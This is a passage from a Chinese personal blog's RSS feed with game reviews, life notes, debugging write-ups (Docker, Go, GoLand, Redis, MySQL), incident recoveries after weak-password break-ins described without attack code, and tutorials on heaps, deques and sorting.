在解决了温饱过后,如果你运气好在废弃房子的仓库里搜到发电机,那么你可以去所剩无几的加油站的油箱中加油,这样一来你的房子就可以使用冰箱和厨具了,切记发电机产生的气体是有毒的,你需要将它放在室外。如果能找到一辆还能开的车就更完美了,开车的时候注意不要开太快,否则出了车祸后果将不堪设想,不要开车去撞丧尸,因为车的损耗承受不起,在开车回家时不要发出太大的噪声,否则你只会把丧尸引到庇护所去。大城市里面虽然物资丰富,但几乎遍地丧尸,小镇虽然物资少,但是更加安全,切记物资再珍贵也没有命贵。有些丧尸生前是运动员,奔跑的速度非常快,遇到这类丧尸一定要避开。在探索建筑物时,每一道门后面都可能藏有危险,切记不要拿脸开门。有时候野外并不一定就比城市更加安全,夜晚的树林同样危机四伏。如果在深山老林中碰巧发现了军事基地,拿到强大的武器后,你就拥有了与尸潮一战的能力。丧尸们总是会有规律的活动,在一个月的某几天,它们的数量会达到顶峰,这是最危险的时候,丧尸会如潮水般向你的庇护所袭来,你需要奋战到最后一刻来保护你的基地。如果失守了,也不要忘了留得青山在,不怕没柴烧。

+
+

最后,你在这艰难的末世中顽强的存活了下来,此时病毒已经蔓延到了世界各地,整个世界一片寂静,就算你每天开着收音机也不会有任何回应。对于这绝望的世界,你可以开枪了解自己来结束这痛苦的一生,或者是带着一整车物资外出寻找新的希望,也可以带着武器前往大型商场享受屠杀丧尸的最后狂欢,不论选择哪一种,末世都始终会持续下去,当你死后,会有新的幸存者会继承你的意志并继续活下去。

+

结语

+

同样的题材也有很多优秀的游戏,即便僵毁画面很复古,但是僵尸毁灭工程满足了我一切对于末世的幻想,非常对我的胃口,在我心目中就是最好的丧尸题材游戏,美中不足的是游戏中人类NPC和动物几乎没有出现,互动也很少,不过这些可以通过加入第三方MOD来添加更多有趣的玩法。

+]]>
+ +
+ + 生化危机2 重制版 + https://246859.github.io/my-blog-giscus/posts/game/re2.html + https://246859.github.io/my-blog-giscus/posts/game/re2.html + 生化危机2 重制版 + 生化危机2 重制版 第一次玩的时候还有点吓人,后面逛警察局就跟回家一样,游戏质量很高。 + 游戏杂谈 + Sat, 10 Jul 2021 00:00:00 GMT + 生化危机2 重制版 +
+

第一次玩的时候还有点吓人,后面逛警察局就跟回家一样,游戏质量很高。

+ +
+]]>
+ +
+ + 只狼:影逝二度 + https://246859.github.io/my-blog-giscus/posts/game/sekrio.html + https://246859.github.io/my-blog-giscus/posts/game/sekrio.html + 只狼:影逝二度 + 只狼:影逝二度 老贼非常成功的创新,游戏内容不算特别多,但胜在短小精悍。 + 游戏杂谈 + Sat, 07 Nov 2020 00:00:00 GMT + 只狼:影逝二度 +
+

老贼非常成功的创新,游戏内容不算特别多,但胜在短小精悍。

+ +
+]]>
+ +
+ + 巫师三:狂猎 + https://246859.github.io/my-blog-giscus/posts/game/witcher.html + https://246859.github.io/my-blog-giscus/posts/game/witcher.html + 巫师三:狂猎 + 巫师三:狂猎 先看小说再玩游戏,我愿称之为开放世界天花板。 + 游戏杂谈 + Thu, 17 Dec 2020 00:00:00 GMT + 巫师三:狂猎 +
+

先看小说再玩游戏,我愿称之为开放世界天花板。

+ +
+]]>
+ +
+ + 一次70KM短途骑行 + https://246859.github.io/my-blog-giscus/posts/life/2023_02_27.html + https://246859.github.io/my-blog-giscus/posts/life/2023_02_27.html + 一次70KM短途骑行 + 一次70KM短途骑行 从学校出发到江边,硬生生从山底爬到山顶,全程70KM。 + 生活随笔 + Mon, 27 Feb 2023 00:00:00 GMT + 一次70KM短途骑行 +
+

从学校出发到江边,硬生生从山底爬到山顶,全程70KM。

+ +
+
+
+]]>
+ +
+ + 暑假骑行 + https://246859.github.io/my-blog-giscus/posts/life/2023_10_09.html + https://246859.github.io/my-blog-giscus/posts/life/2023_10_09.html + 暑假骑行 + 暑假骑行 暑假在江边骑行 + 生活随笔 + Sat, 22 Jul 2023 00:00:00 GMT + 暑假骑行 +
+

暑假在江边骑行

+ +
+

早上异常的湿热,空气里全是水,站着不动都能汗湿,中午以后直接暴晒,顶着39度的太阳骑行,随行的学弟直接被晒的神志不清,回去以后小臂晒掉一层皮。

+
+
+]]>
+ +
+ + 大理旅行 + https://246859.github.io/my-blog-giscus/posts/life/2024_02_27.html + https://246859.github.io/my-blog-giscus/posts/life/2024_02_27.html + 大理旅行 + 大理旅行 在大理旅行了三天 + 生活随笔 + Fri, 01 Mar 2024 00:00:00 GMT + 大理旅行 +
+

在大理旅行了三天

+ +
+

初次到大理的时候机场真的很小,下关风非常大,人都有点站不稳。住的地方是大理古城旁边的一家民宿,离洱海两三公里,骑着小电驴就可以到处逛,不得不吐槽下全国的古城都是只有小吃街,好在洱海的风景非常好看。

+
+
+
+
+]]>
+ +
+ + 生病了 + https://246859.github.io/my-blog-giscus/posts/life/2024_06_03.html + https://246859.github.io/my-blog-giscus/posts/life/2024_06_03.html + 生病了 + 生病了 + 生活随笔 + Thu, 06 Jun 2024 00:00:00 GMT + 生病了 + + +
+

在5月末的时候,背部的左下方靠腰的地方长了几个红色的小痘痘,刚开始没怎么在意,只是觉得有点痒,直到6月2号骑完车回来洗澡的时候仔细看了下,发现背后已经长了一大片红斑,大概有成年人一个手掌那么大,而且还在往腰部的方向逐渐蔓延,摸起来有颗粒感,晚上睡觉的时候又痒又痛,这种痛感是那种刺骨的感觉,整的我难以入睡,当晚就觉得不对劲,第二天起来一早就直接去学校最近的一个诊所查看情况。

+

给我看病的是一个头发半白的老头,他只是看了我后背一眼就得出了结论:带状疱疹。这玩意跟水痘差不多,都是由水痘病毒引起的,只是传染性没那么强,在宿主免疫力下降的时候会发病,越早治疗越容易痊愈,图就不放出来了,网上一大把,很容易引起不适。

+

不到几分钟,老医生很快就给出了治疗方法

+
    +
  1. 扎火针放血,扎破痘泡使其快速结疤
  2. +
  3. 在患病部位涂抹阿韦昔洛凝胶,防止其继续蔓延
  4. +
  5. 输液打点滴,补充各种维生素营养液,提升免疫力
  6. +
  7. 吃一些缓解神经痛
  8. +
+

其中的扎火针疗法不是必须的,但是很有效,同时也非常的折磨人,本来就挺疼的,还要用针扎,前后总共扎了两次,扎完过后涂抹药膏用射线灯照射将其烤干,相当折磨人,护士小姐姐给我扎针时还问我难道不觉得疼吗,疼当然是疼,只是早已麻木了。折磨半天后开始输液了,终于可以静下来了,于是我开始反思最近生活作息确实有点反人类了,经常熬夜,总是吃油腻外卖,运动量过低,个人卫生问题,这些可能都是导致免疫力下降的因素,这次得病也算是身体给我发出的一个警告。

+

老医生跟我说这病没有十天半个月好不了,相当顽固,必须根除,否则很容易再重新长出来,后遗症也很折磨人,好消息是治好后基本上很难复发。实习的事情大概率也黄了,先安心治病吧,顺便也调整下生活作息,这篇文章就简单记录下我得病的过程,希望以后不要再犯了,能有一个健康的身体比什么都重要。

+]]>
+
+ + docker内存显示异常的bug + https://246859.github.io/my-blog-giscus/posts/problem/dockermem.html + https://246859.github.io/my-blog-giscus/posts/problem/dockermem.html + docker内存显示异常的bug + docker内存显示异常的bug 源于项目开发过程中的一个发现 + 问题记录 + Thu, 29 Jun 2023 00:00:00 GMT + docker内存显示异常的bug +

源于项目开发过程中的一个发现

+ +
+

此前接了一个开发饥荒虚拟容器管理平台的项目,其中有一个功能就是实时显示容器的内存使用状况,后来奇怪的发现容器的内存趋势图在容器创建后的5分钟内达到了几乎100%

+
+

初次遇到这个问题,百思不得其解,以为是自己程序的编写错误,后来在容器中top了一下发现真实占用可能就40%左右。后面去翻阅了docker cli计算内存占用的源代码,Docker Cli 计算内存源代码地址,逻辑基本上是一致,那么只剩一种可能,这的确就是docker的bug。

+

在经过测试后,这个bug诱发的原因是饥荒容器在创建时会下载一个接近4个g的游戏服务端,在此过程中会消耗一定的资源,内存占用会逐渐攀升,但是等到下载完毕后增长的趋势依旧不停,从而造成了内存虚高。

+

为此编写了一个测试,这在github的issue里有更详细的介绍,issue address

+]]>
+ +
+ + 记录Hertz框架limiter的一个问题 + https://246859.github.io/my-blog-giscus/posts/problem/go_bug_of_hertz_limiter.html + https://246859.github.io/my-blog-giscus/posts/problem/go_bug_of_hertz_limiter.html + 记录Hertz框架limiter的一个问题 + 记录Hertz框架limiter的一个问题 + 问题记录 + Wed, 13 Mar 2024 00:00:00 GMT + 记录Hertz框架limiter的一个问题 +
+ +
+

最近在尝试一个新的Web框架Hertz,使用起来跟gin没什么太大的区别,它的周边生态也有一些开源的中间件,在使用其中的limiter时遇到了问题,便记录了下来。

+

发现

+

首先limiter的算法实现是BBR自适应限流算法,用起来没有问题,用法如下。

+

在编译之前进行语法检查,会得到如下报错,提示未定义的类型

+

首先会好奇这么个玩意是哪里来的,我好像也没用到过,先通过go mod命令看看是谁依赖了它

+

原来就是这个limiter导入了它,因为bbr算法的需要获取主机的一些负载信息所以导入了这个库。syscall是标准库中的系统调用库,它不太可能会出问题,那就是用它的库有问题,接下来去这个goprocinfo库里面看看怎么回事,找到的目标代码如下

+

这段代码的逻辑很简单,就是通过系统调用来获取某一个路径下文件夹使用额度,但是遗憾的是Windows系统并不支持Statfs这个系统调用,所以对于win系统而言,编译后并不会存在Statfs_t类型和Statfs函数,所以整个问题的原因就是goprocinfo这个库没有根据不同的系统做兼容而导致的。

+

解决

+

由于我的开发工作是在windows上进行的,不可能去迁移到linux上,所以只能更换一个新的限流库,这里找到了go-kratos开源的一个bbr限流库。

+

在更换过后,代码变化也不多

+

go-kratos所使用的系统信息库是gopsutil,后者是一个专门兼容各个操作系统的系统信息库,对外屏蔽了复杂的系统调用,兼容性要更高。

+]]>
+ +
+ + goland索引失效 + https://246859.github.io/my-blog-giscus/posts/problem/goland_invalid_ref.html + https://246859.github.io/my-blog-giscus/posts/problem/goland_invalid_ref.html + goland索引失效 + goland索引失效 问题相当的恼火 + 问题记录 + Tue, 17 Oct 2023 00:00:00 GMT + goland索引失效 +

问题相当的恼火

+ +
+

问题

+

最近在用goland写代码的时候,经常会出现某个包的类型无法解析的情况,但实际上没有任何的错误。比如这一行代码引用了user.PageOption

+
+

goland报错提示引用无法正常解析

+
+

但实际上根本就没有任何的错误

+
+

go vet也检测不到任何的错误,编译也可以正常通过。出现这种情况的话就没法进行引用快速跳转,智能提示等,这种情况还会发生在函数,接口,结构体,字段上,并且一旦有其它类型引用了这些它们,那么该类型也会变得“无法正常解析”,突出一个离谱,这样很影响效率。

+

解决

+
+

解决不了,摆烂!这个问题我已经在youtrack反映过了,问题链接:youtrack。工作人员让我升级到2023.2.3,但实际上我就是在2.3版本发现问题才降到2.2的。

+ +

结果发现降下来没有任何的改善,在bug修复之前唯一能做的就只有等待。不过总归要有一个临时的解决办法,既然是索引出了问题,那就把索引清空了重新对项目进行索引。

+
+

但如果每次发生这种情况都要重启一次的话,那就太浪费时间了,goland重启+构建索引的时间基本上有几分钟了,但凡gomod的依赖多一点,花的时间就更久,不过除此之外也没别的办法了。

+]]>
+ +
+ + go后端日期时区的问题记录 + https://246859.github.io/my-blog-giscus/posts/problem/gotime.html + https://246859.github.io/my-blog-giscus/posts/problem/gotime.html + go后端日期时区的问题记录 + go后端日期时区的问题记录 记录一次go后端日期时区问题的记录 + 问题记录 + Sat, 01 Jul 2023 00:00:00 GMT + go后端日期时区的问题记录 +

记录一次go后端日期时区问题的记录

+ +
+

在通常的前后端交互中,日期是一个经常很令人头痛的问题,需要统一格式,统一时区等等。

+

在最近的一个项目中,前端根据YYYY/MM/DD hh:mm:ss格式传给后端,后端解析成time.Time类型,但是这犯了一个很严重的错误。

+

在解析日期字符串时,如果没有按照格式传递时区偏移,例如+0800 CST 等格式,go将会默认解析为+0000 UST的时区,由于数据库设置为了同步设置了东八区,一看传过来的数据是UST时区的,就误认为需要修正时区,结果就是存储到数据库的数据会比实际时间多出八小时。

+

解决办法1:

+

前端在传递给后端日期时,前端自己带上时区信息,+0800 CST类似这种

+

解决办法2:

+

后端根据客户端请求头中的时区信息, 将传递过来的日期加上时区信息

+

当添加上正确的时区信息过后,时间的读写才会是正常的。

+]]>
+
+ + 记一次服务器被黑的解决过程 + https://246859.github.io/my-blog-giscus/posts/problem/hack.html + https://246859.github.io/my-blog-giscus/posts/problem/hack.html + 记一次服务器被黑的解决过程 + 记一次服务器被黑的解决过程 只能说离谱,以后还是要多注意这方面的东西。 + 问题记录 + Tue, 12 Sep 2023 00:00:00 GMT + 记一次服务器被黑的解决过程 +

只能说离谱,以后还是要多注意这方面的东西。

+ +
+

一大早起来,就看到腾讯云异常登录的通知,就大概明白是咋回事了,这是我在腾讯云上的一个轻量应用服务器,倒也算不上第一次被黑,上一次被黑的时候入侵者仅仅只是放了一个挖矿木马就没了,其它什么也没动。这一次不仅搞挖矿把服务器资源都跑满了,而且还把我root用户的ssh密钥都改了,一大早起来就得赶紧解决。这里放一张图,看看资源使用情况,基本上都已经爆满了。

+ +

原因

+
+

究其原因,是因为在前几天为了在服务器上搭建自用的gitea,创建了一个新用户git来跑服务,也就是此次异常登录的用户,当时给它添加到了sudo组,而且也忘记做远程登录限制,也没有ssh密钥,密码也是非常简单的123456,被暴力破解应该是轻而易举的,只是没想到睡一觉起来就G了,以后在这一块看来是一点都不能松懈。下面是截取的一部分登录尝试记录。

+

解决

+

首先是之前的用户都登陆不上去了,这里只能用服务器默认用户在腾讯云后台重置密码,密码重置完后,登陆到服务器上,top看一下

+
+

可以看到第一行xrx这个东西已经把cpu跑满了,内存也没剩下多少并且还多了一个cheeki用户。然后来看看这个玩意的运行路径

+

再locate一下看看

+

其中这个ini.sh应该是被混淆过的,全是乱码,key文件和passwd可能是用来解码的。此时看下git用户的.bash_history都是我自己留下的记录,操作记录也是可以被隐藏的。目前root目录我是进不去的,直接把这个进程kill了也无济于事,一般来说会有定时任务来定时重启这些木马,查看系统定时任务,差不多就是特定的地方拉取脚本然后执行,并且在重启的时候还会后台运行这几个进程。

+

可以看到该文件修改时间就是凌晨一点,差不多就是我在睡觉的时候。

+

差不多在同一时间,/etc/passwd文件也被修改了。

+

不幸的是,passwd命令也被掉包了,即便通过root权限,也无法直接修改用户的密码,而且我修改的密码可能会通过网络被上传到后台。

+

把盗版的passwd先删掉,然后用apt重新安装一个

+

后面的任务是拿到root账号,这里通过腾讯云后台提供的重置密码功能,把root账号的密码给重置了,然后用默认账户登录上去再切换到root,可以看到密钥已经被改了,修改时间也是凌晨

+

并且还上锁了,无法删除

+

尝试解锁后成功了,庆幸没有对方修改chattr命令。

+

把所有密钥都删除,然后再删除木马文件和定时任务,然后再重启看看,是否恢复正常。

+

删除之后的话基本上服务器占用就变正常了,为了彻底解决,这里把ssh的配置设置的更加严格一些,禁止密码登录,禁止root登录,修改ssh默认端口号。差不多后续就不会出什么问题了,除非有什么其它软件漏洞。下面是修改后的占用图,就是正常状态了。

+ +

下面是一些用到的文章

+ +]]>
+ +
+ + 64位Ubuntu上运行32位可执行文件 + https://246859.github.io/my-blog-giscus/posts/problem/linuxexe.html + https://246859.github.io/my-blog-giscus/posts/problem/linuxexe.html + 64位Ubuntu上运行32位可执行文件 + 64位Ubuntu上运行32位可执行文件 记录64位Ubuntu上运行32位可执行文件的问题 + 问题记录 + Sat, 08 Apr 2023 00:00:00 GMT + 64位Ubuntu上运行32位可执行文件 +

记录64位Ubuntu上运行32位可执行文件的问题

+ +
+

最近在捣鼓Steamcmd开游戏专用服务器,下载下来的tar包中,解压出来的steamcmd可执行文件是32位的,命令如下

+

当时的使用系统uname如下

+

64位系统是无法直接运行32位可执行文件的,最开始半天不知道怎么回事,一直报No such file and directory,发现问题后下载32位依赖运行库即可

+

下载完成后即可正常运行。

+]]>
+
+ + 数据库被注入恶意信息 + https://246859.github.io/my-blog-giscus/posts/problem/mysqlinject.html + https://246859.github.io/my-blog-giscus/posts/problem/mysqlinject.html + 数据库被注入恶意信息 + 数据库被注入恶意信息 + 问题记录 + Fri, 22 Sep 2023 00:00:00 GMT + 数据库被注入恶意信息 + +
+

分析

+

前段时间搭建了个gitea自用,有一天上去过后发现web一直显示500,想着重启试试,结果发现再也重启不能。

+

在日志这一块,看到了这么个东西,类似一串js代码,后面去看了下数据库,不看不得了,一看吓一跳,数据库里很多表的字段内容都被纂改了

+ +

完整内容如下

+

中间是一段base64编码的url,解码过后就是

+

大概是想实现js代码被加载的时候自动跳转到这个网站,这个网站后面去看了下,就是个普通的色情网站。

+

问题

+

问题出现在root密码太过简单,就是123456,由于在使用的时候用的是另一个数据库账号,初始化的root密码忘记改了,所以还是留着123456没有变,这才有了可乘之机。

+

解决

+

最后是手动将脏数据清洗掉,才恢复了正常,以后还是要定时备份,做好安全工作。

+]]>
+
+ + Mysql忘记数据库密码 + https://246859.github.io/my-blog-giscus/posts/problem/mysqlpassword.html + https://246859.github.io/my-blog-giscus/posts/problem/mysqlpassword.html + Mysql忘记数据库密码 + Mysql忘记数据库密码 记录了Mysql忘记密码的几种解决方式 + 问题记录 + Sun, 12 Sep 2021 00:00:00 GMT + Mysql忘记数据库密码 +

记录了Mysql忘记密码的几种解决方式

+ +
+]]>
+
+ + 记一次因日志而引发的OOM问题 + https://246859.github.io/my-blog-giscus/posts/problem/oom_pprof.html + https://246859.github.io/my-blog-giscus/posts/problem/oom_pprof.html + 记一次因日志而引发的OOM问题 + 记一次因日志而引发的OOM问题 + 问题记录 + Sun, 14 Apr 2024 00:00:00 GMT + 记一次因日志而引发的OOM问题 +
+ +
+

问题

+

在最近的项目中,后端隔三岔五就会因为内存爆满而崩溃,这种情况差不多两三天就会发生一次。由于在项目中在向Steam请求模组信息时会开启多个协程并发请求,因此猜测可能是因为协程未能正常退出而导致的内存泄露问题,于是便通过pprof来对应用进行性能分析。

+

通过对pprof的可视化分析,发现与猜测的结果并不一致,在分析的过程中,发现获取服务端状态的这个接口在调用时内存占用会猛增,该接口主要用于判断游戏服务端是否启动,判断的逻辑就是去读取游戏服务端的日志文件,而有些用户的游戏服务端会一直开着,导致其文件大小可能会非常大,目前最大的发现有800MB,由于在读日志的时候是将其全量加载到内存中,那么这样一来就会导致内存占用升高。

+
图片已脱敏
图片已脱敏
+

并且在日志读取完后还要对其进行处理,由于go语言的字符串写时复制特性限制,在处理日志的时候还会拷贝一份副本,分配的内存就会更大。由于很多的功能都依赖于游戏日志,比如获取与服务端交互的命令结果,判断服务端的启动状态等等,它们在不断频繁地将日志全量加载到内存中后,必然会导致内存不足而OOM。

+

所以问题的根本原因就在于,游戏日志的读取加载的方法不正确。

+

解决

+

由于日志文件过大,所以不应该将其全量加载到内存中,在进行逐个分块读取过后,内存占用了有了较为明显的下降。

+]]>
+ +
+ + 记一次Redis线上数据突然丢失的问题 + https://246859.github.io/my-blog-giscus/posts/problem/redisdataloss.html + https://246859.github.io/my-blog-giscus/posts/problem/redisdataloss.html + 记一次Redis线上数据突然丢失的问题 + 记一次Redis线上数据突然丢失的问题 + 问题记录 + Sat, 22 Jul 2023 00:00:00 GMT + 记一次Redis线上数据突然丢失的问题 + +
+

之前的项目用到了redis来存放一些游戏的模组信息以及一些非结构化配置,突然有一次甲方告诉我系统出问题了,我一去看发现redis里面的数据全没了,由于redis没有开启日志,一时半会排查不出来是什么问题。就把redis aof备份粒度做的更细了一些,暂时想到的可能是RDB跟AOF覆盖掉了,但是这种情况应该非常小,事后还做好了日志方便下次排查,弄好之后这件事就这么过去了,

+

直到两个星期后,又发生了这个问题,查看到系统日志是下午15:26:51发生的问题,对比redis日志,刚开始还是一些正常的备份信息,像下面这样

+

看到出问题的时间点的时候就发现不对劲了,

+

尤其是这一段Connecting to MASTER 35.158.95.21:60107,这个IP并不是甲方的IP,并且系统是单机应用,redis都是直接和后端部署在同一个物理机上的,并没有采用redis集群和主从复制。

+

复制master数据后,我们的数据就没了,然后备份过后redis数据也没了。多半是redis密码太简单导致的问题,于是修改密码后再看后续的情况。

+]]>
+
+ + 堆-二项堆 + https://246859.github.io/my-blog-giscus/posts/code/alg/binary_heap.html + https://246859.github.io/my-blog-giscus/posts/code/alg/binary_heap.html + 堆-二项堆 + 堆-二项堆 + 算法 + Sat, 16 Dec 2023 00:00:00 GMT + 堆-二项堆 +
+ +
+

堆是一种特殊的数据结构,它的特点在于可以在O(1)的时间内找到堆内的最大值或最小值。它一般有两种类型,大顶堆或小顶堆。大顶堆是最大值在堆顶,子节点均小于根节点;小顶堆是最小值在堆顶,子节点均大于根节,同时堆也是优先队列比较常见的实现种类。堆只是这类数据结构的统称,并非特指某种具体实现,一般来说它支持以下几种操作,

+

上面这些操作在其它文章可能叫法不一样,但大致的作用都是类似的,也可能有更多的拓展。

+

今天要讲的就是堆里面最简单的实现,二项堆,或者叫二叉堆,其英文名为BinaryHeap,下面统称为二项堆。二叉堆在表现上通常是一个近似完全二叉树的树,如下图

+ +

对于二项堆而言,它的关键操作在于元素的上浮和下沉,这个过程会频繁的遍历整个树,所以一般二项堆不会采用树节点的方式实现,而是使用数组的形式。将上图的二叉树转换成数组后就如下图所示:

+
+

对于堆每一个节点,其在数组中的下标映射为:

+
    +
  • 父节点:(i-1)/2
  • +
  • 左子节点:i*2+1
  • +
  • 右子节点:i*2+2
  • +
+

这种规则很好理解,下面演示上浮和下沉操作,默认为小顶堆。

+

上浮

+

在前面的基础之上,向堆中添加了一个新元素,我们将其添加到数组的末尾,如下图

+
+

然后让其不断的与它的父节点进行比较,如果小于父节点,就进行交换,否则就停止交换。对于2而言,它的父节点位于下标(7-1)/2=3处,也就是元素8,显然它是小于8的,于是它两交换位置。

+
+

然后再与其父节点5进行比较,小于5,则交换位置,然后再与父节点3进行比较,小于3,于是再次交换,最终整个堆就如下图所示:

+
+

此时2就是堆顶元素,它也的确是最小的那一个元素,于是堆调整完毕,这个过程也就称之为上浮。整个过程只是在不断的与它的父节点进行比较,总比较次数为3,同时这也是树的高度,对于一个含有n个数量的堆来说,添加一个新元素的时间复杂度为O(logn)。代码实现如下

+

下沉

+

对于堆顶元素而言,如果要将其从堆中删除,首先将其与最后一个元素交换位置,然后再移除尾部元素。如下图所示

+
+

然后此时堆顶元素不断与其子节点进行比较,如果比子字节大就交换位置,每一次交换时,优先交换两个子节点中更小的那一个。比如8的子节点是4,和5,那么将8与4进行交换。

+
+

再继续与子节点进行比较然后交换,最终如下图所示

+
+

此时堆再次调整完毕,堆顶元素仍然是最小值。整个过程只是在不断的与子节点进行比较交换,下沉操作的时间复杂度也为O(logn)。代码实现如下

+

构建

+

对于构建二项堆而言,一个简单的做法是将其视为一个空的堆,然后不断的对每一个末尾的元素执行上浮操作,那么它的时间复杂度就是O(nlogn)。

+

有一种办法可以做到O(n)的时间复杂度,它的思路是:首先将给定的输入序列按照二叉树的规则在分布在数组当中,自底向上从最后一个父节点开始,每一个父节点就代表着一个子树,对这个子树的根节点执行下沉操作,这样一直操作到整个二项堆的根节点,由于所有局部的子树都已经完成堆化了,对于这个整体根节点的下沉操作也最多只需要比较O(h)次,h是整个树的高度,可以证明这个过程的时间复杂度为O(n),详细的证明过程在wiki中可以查阅,而二项堆的合并过程也与构建的过程大同小异。代码实现如下

+

总结

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
操作时间复杂度
构建O(n)
查看最小值O(1)
插入O(log n)
删除O(log n)
合并O(n)
+

二项堆是所有实现中最简单的一个,总体来说难度不大,性能尚可,足够满足基本使用。

+
+

提示

+

有关二项堆的具体实现,可以前往containers/heaps/binary_heap.go进行了解,这是我自己写的常用数据结构的库,支持泛型。

+
+]]>
+ +
+ + 二叉树的遍历 + https://246859.github.io/my-blog-giscus/posts/code/alg/binary_tree.html + https://246859.github.io/my-blog-giscus/posts/code/alg/binary_tree.html + 二叉树的遍历 + 二叉树的遍历 + 二叉树 + Thu, 01 Feb 2024 00:00:00 GMT + 二叉树的遍历 +
+ +
+

二叉树的遍历分三种

+
    +
  • 前序遍历,中-左-右
  • +
  • 中序遍历,左-中-右
  • +
  • 后序遍历,左-右-中
  • +
+

遍历又分递归和迭代版,对于迭代而言就是手动创建栈来模拟递归的调用栈,整体来说都比较简单,只有迭代版的后序遍历需要稍微注意下。

+

前序遍历

+

递归版本

+

迭代版本

+

中序遍历

+

递归版本

+

迭代版本

+

后序遍历

+

递归版本

+

迭代版本

+
]]>
+ +
+ + 队列-双端队列 + https://246859.github.io/my-blog-giscus/posts/code/alg/dequeue.html + https://246859.github.io/my-blog-giscus/posts/code/alg/dequeue.html + 队列-双端队列 + 队列-双端队列 + 算法 + Wed, 20 Dec 2023 00:00:00 GMT + 队列-双端队列 +
+ +
+

众所周知,队列是一种先进先出(FIFIO)的数据结构,不过它只能一端进,在另一端出,而双端队列对前者进行了拓展,它的两端都能进出。假如,只在一端进,并且只在这一端出,那么这样就变成了后进先出,也就成了栈,因此双端队列其实同时具有队列和栈的性质。

+

双端队列可以采用链表或数组来实现,本文使用数组的方式来进行讲解。对于双端队列而言,会有两个指针fronttail分别代表的队列的两端。如下图

+
+

front指针指向队列的头部元素,而tail则指向队列的尾部,左右端指的是队列的左右端,并非图中数组的左右两端,两者是有很大区别的。

+
+

上图中队列内的元素实际为[2, 1],是左端插入了一个2,右端插入了一个1而产生的结果。通常来说,一个双端队列支持以下操作,如下图

+
摘自wiki
摘自wiki
+

不同语言对这些操作可能会有不同的称呼,但它们的作用都差不多,下面来讲解下双端队列的具体思路。

+

入队

+

先来讲讲左边入队,也就是从队列头部添加元素,给定一个如下图所示的空队列,此时fronttail指针重叠,元素数量为0。

+
+

从队列左边入队一个元素3front指针左移,但其本身位于下标0,所以就顺势环形移动到数组末尾,也就是下标5,然后对front所指向的元素赋值3

+
+

此时队列内元素为[3],假设再从右边入队元素10,从队列右边入队时,先将tail所指向的元素赋值,然后再右移指针tail。所以在入队时,这两个指针其实就是在数组上面环形移动,从数组的一边走到头了,就从另一头继续走,就跟环形链表一样。

+
+

此时队列内的元素为[3, 10],接下来如果不停在左右端入队元素,那么两个指针此时最终就会相遇,操作如下

+
    +
  1. 左端入队1
  2. +
  3. 右端入队9
  4. +
  5. 左端入队6
  6. +
  7. 右端入队-1
  8. +
+

最终结果如图所示,此时队列的元素为[6, 1, 3, 10, 9, -1],数量为6,队列已经满了,无法再容纳新的元素。

+
+

扩容

+

当双端队列满了以后,如果要继续添加新元素,就需要对其数组进行扩容(有些地方的实现可能不支持扩容),然后让元素重新按照相对位置分布在新的数组上。首先申请一个两倍于当前数组长度的新数组,然后按照原数组中元素的相对位置让它们重新分布在新数组上,对于上图中而言,就是让front指针指向元素(包括自身)的重新右边分布在新数组的右边,然后让左边的元素重新分布在新数组的左边,扩容后的队列数据分布如下图所示,队列左端的元素分布到了数组的右端,队列右端的元素分布在了数组的左端。

+
+

在往后的入队操作中,两个指针又会不断靠拢,然后再次扩容,接着又重新分布到新数组的左右两端。

+

出队

+
+

拿上面这一个例子讲解出队,出队其实就是上面的入队的过程反着来。从队列右边出队,只需要将指针tail左移即可,如果有必要也可以将它所指向的元素置0,一般来说不需要。如下图所示,从右边出队元素-1,此时队列内元素为[6, 1, 3, 10, 9]

+
+

而从左边出队也是一样,只需要将front指针右移。如下图所示,从右边出队元素6,此时队列内元素为[1, 3, 10, 9]

+
+

如此往复,两个指针会分别往数组左右两端移动,直到再次相遇,数组为空。

+

缩容

+

当队内元素数量小于数组长度的一半时,可以考虑缩容,这个是可选项,并非所有双端队列都要实现缩容。此时元素都分布在数组的左右两侧,而数组中间有一大堆无用的空间,可以申请一个新的数组,其长度为原来的3/4,也就是原数组缩小了1/4的长度,之所以不直接缩小一半是为了避免往后入队时会频繁的触发扩容操作。沿用之前的例子,假设在缩容前队列如下图所示

+
+

原数组长度为6,缩小1/4就是长度5,然后重新分布元素后,如下图所示

+
+

总结

+

下面是两种不同实现的对比

+ + + + + + + + + + + + + + + + + + + + + + + + + +
动态数组双向链表
入队O(n)O(1)
出队O(n)O(1)
随机访问O(1)O(n)
+

对于动态数组实现,它的均摊时间复杂度可以达到O(1),适合读多写少的场景,而对于双向链表来说,比较时候读少写多的场景。

+

双端队列的实现代码位于github.com/246859/containers/queues/dequeue.go

+]]>
+ +
+ + 经典排序算法 + https://246859.github.io/my-blog-giscus/posts/code/alg/sort.html + https://246859.github.io/my-blog-giscus/posts/code/alg/sort.html + 经典排序算法 + 经典排序算法 + 算法 + Sun, 23 Oct 2022 00:00:00 GMT + 经典排序算法 +
+ +
+

冒泡排序

+

冒泡排序是最简单的一种排序,也是最暴力的排序方法,对于大多数初学者而言,它是很多人接触的第一个排序方法。大致实现思路如下:从下标0开始,不断将两个数字相比较,如果前一个数大于后一个数字,那么就交换位置,直至末尾。外层循环每一轮结束后,就能确定一个值是第i+1大的元素,于是后续的元素就不再去交换,所以内层循环的终止条件是len(slice)-(i+1)

+

下面是一个冒泡排序的泛型实现。

+

时间复杂度:O(n^2)

+

不管情况好坏,它需要交换总共 (n-1)+(n-2)+(n-3)+...+1 次 ,对其进行数列求和为 (n^2-n)/2 ,忽略低阶项则为O(n^2),即便整个切片已经是完全有序的。

+

空间复杂度:O(1)

+

算法进行过程中没用到任何的额外空间,所以为O(1)

+

稳定性:是

+

两个元素相等时不会进行交换,就不会发生相对位置的改变。看一个例子

+

第一轮冒泡,移动第二个3

+

第二轮冒泡,移动第一个3

+

可以看到相对位置没有发生变化。

+

性能测试

+

对其进行基准测试,分别使用100,1000,1w,10w个随机整数进行排序,测试数据如下

+

随着数据量的增多,冒泡排序所耗费的时间差不多是在以平方的级别在增长,到了10w级别的时候,要花费整整18秒才能完成排序,值得注意的是整个过程中没有发生任何的内存分配。百万数据量耗时太久了,就懒得测了。

+

优化

+

